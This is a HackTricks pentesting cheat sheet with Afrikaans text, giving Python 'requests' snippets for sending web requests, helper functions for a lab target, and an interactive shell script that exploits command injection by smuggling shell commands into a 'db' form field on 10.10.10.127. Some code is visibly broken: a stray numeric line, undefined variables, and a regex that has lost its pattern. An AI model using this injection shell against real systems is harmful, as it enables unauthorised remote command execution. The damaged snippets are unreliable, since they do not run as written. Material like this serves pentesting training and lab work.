# Web Requests {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
\ Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\ Kry Vandag Toegang: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Python Requests ```python import requests url = "http://example.com:80/some/path.php" params = {"p1":"value1", "p2":"value2"} headers = {"User-Agent": "fake User Agent", "Fake header": "True value"} cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"} proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} #Regular Get requests sending parameters (params) gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True) code = gr.status_code ret_headers = gr.headers body_byte = gr.content body_text = gr.text ret_cookies = gr.cookies is_redirect = gr.is_redirect is_permanent_redirect = gr.is_permanent_redirect float_seconds = gr.elapsed.total_seconds() 10.231 #Regular Post requests sending parameters (data) pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) #Json Post requests sending parameters(json) pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies) #Post request sending a file(files) and extra values filedict = {"" : ("filename.png", open("filename.png", 'rb').read(), "image/png")} pr = requests.post(url, data={"submit": "submit"}, files=filedict) #Useful for presenting results in boolean/time based injections print(f"\rflag: {flag}{char}", end="") ##### Example Functions target = "http://10.10.10.10:8000" proxies = {} s = requests.Session() def register(username, password): resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0) return resp def login(username, password): resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0) return resp def get_info(name): resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0) guid = re.match('' + name + '', resp.text)[1] return guid def upload(guid, filename, data): resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0) guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1] return guid def json_search(guid, search_string): resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0) return resp.json() def get_random_string(guid, path): return ''.join(random.choice(string.ascii_letters) for i in range(10)) ``` ## Python cmd om 'n RCE te benut ```python import requests import re from cmd import Cmd class Terminal(Cmd): prompt = "Inject => " def default(self, args): output = RunCmd(args) print(output) def RunCmd(cmd): data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' } r = requests.post('http://10.10.10.127/select', data=data) page = r.text m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL) if m: return m.group(1) else: return 1 term = Terminal() term.cmdloop() ```
\ Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloei** te bou en **te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapstoestelle.\ Kry Toegang Vandag: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}